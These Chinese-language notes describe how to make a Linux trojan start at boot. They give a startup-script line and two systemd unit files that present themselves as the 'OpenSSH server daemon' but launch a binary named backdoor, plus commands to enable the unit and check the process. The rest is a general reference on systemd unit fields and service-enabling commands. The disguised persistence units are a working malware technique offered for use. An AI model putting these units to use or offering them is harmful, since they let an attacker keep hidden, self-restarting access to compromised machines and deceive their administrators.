Linux木马自启动方式

Debian 6 and earlier
Ubuntu 9.04 and earlier
CentOS 5 and earlier

Ubuntu 9.10 to Ubuntu 14.10, including Ubuntu 14.04
CentOS 6

Debian 7 and Debian 8
Ubuntu 15.04 and newer
CentOS 7

/root/tmp/backdoor>/dev/null 2>&1

[Unit]
Description=OpenSSH server daemon
Documentation=man:sshd(8) man:sshd_config(5)
After=network.target sshd-keygen.service
Wants=sshd-keygen.service

[Service]
#Type=notify
Type=oneshot
EnvironmentFile=/etc/sysconfig/sshd
ExecStart=-/root/tmp/backdoor
ExecStart=/usr/sbin/sshd -D $OPTIONS
ExecReload=/bin/kill -HUP $MAINPID
KillMode=process
#Restart=on-failure
#RestartSec=42s

[Install]
WantedBy=multi-user.target

[Unit]
Description=OpenSSH server daemon
After=network.target syslog.target cloud-config.service rc-local.service
Wants=network.target

[Service]
Type=forking
ExecStart=/tmp/backdoor
KillMode=process
Restart=on-failure
RestartSec=12s

[Install]
WantedBy=multi-user.target
Restart=on-failure
RestartSec=12s

systemctl enable ssh.service 

systemctl disable ssh.service 

ps -e | grep backdoor

开机启动  
update-rc.d enable apache2  
禁止开机启动  
update-rc.d disable apache2  

开机启动  
rm /etc/init/mysql.override  
禁止开机启动  
echo manual >> /etc/init/mysql.override  

Type的类型有：
    simple(默认）：# 以ExecStart字段启动的进程为主进程
    forking:  # ExecStart字段以fork()方式启动，此时父进程将退出，子进程将成为主进程（后台运行）。一般都设置为forking
    oneshot:  # 类似于simple，但只执行一次，systemd会等它执行完，才启动其他服务
    dbus：    # 类似于simple, 但会等待D-Bus信号后启动
    notify:   # 类似于simple, 启动结束后会发出通知信号，然后systemd再启动其他服务
    idle：    # 类似于simple，但是要等到其他任务都执行完，才会启动该服务。
    
EnvironmentFile:
    指定配置文件，和连词号组合使用，可以避免配置文件不存在的异常。

Environment:
    后面接多个不同的shell变量。
    例如：
    Environment=DATA_DIR=/data/elk
    Environment=LOG_DIR=/var/log/elasticsearch
    Environment=PID_DIR=/var/run/elasticsearch
    EnvironmentFile=-/etc/sysconfig/elasticsearch
    
连词号（-）：在所有启动设置之前，添加的变量字段，都可以加上连词号
    表示抑制错误，即发生错误时，不影响其他命令的执行。
    比如`EnviromentFile=-/etc/sysconfig/xxx` 表示即使文件不存在，也不会抛异常
    
KillMode的类型：
    control-group(默认)：# 当前控制组里的所有子进程，都会被杀掉
    process: # 只杀主进程
    mixed:   # 主进程将收到SIGTERM信号，子进程收到SIGKILL信号
    none:    # 没有进程会被杀掉，只是执行服务的stop命令
Restart的类型：
    no(默认值)： # 退出后无操作
    on-success:  # 只有正常退出时（退出状态码为0）,才会重启
    on-failure:  # 非正常退出时，重启，包括被信号终止和超时等
    on-abnormal: # 只有被信号终止或超时，才会重启
    on-abort:    # 只有在收到没有捕捉到的信号终止时，才会重启
    on-watchdog: # 超时退出时，才会重启
    always:      # 不管什么退出原因，都会重启
    # 对于守护进程，推荐用on-failure
RestartSec字段：
    表示systemd重启服务之前，需要等待的秒数：RestartSec: 30 
    
各种Exec*字段：
    # Exec* 后面接的命令，仅接受“指令 参数 参数..”格式，不能接受<>|&等特殊字符，很多bash语法也不支持。如果想支持bash语法，需要设置Tyep=oneshot
    ExecStart：    # 启动服务时执行的命令
    ExecReload：   # 重启服务时执行的命令 
    ExecStop：     # 停止服务时执行的命令 
    ExecStartPre： # 启动服务前执行的命令 
    ExecStartPost：# 启动服务后执行的命令 
    ExecStopPost： # 停止服务后执行的命令

    
WantedBy字段：
    multi-user.target: # 表示多用户命令行状态，这个设置很重要
    graphical.target:  # 表示图形用户状体，它依赖于multi-user.target

开机启动：  
systemctl enable apache2  
禁止开机启动：  
systemctl disable apache2  
修改服务配置重新生效：  
systemctl daemon-reload  
启动服务：  
systemctl start apache2  
停止服务：  
systemctl stop apache2  
重启服务：  
systemctl restart apache2  
查看服务状态：  
systemctl status apache2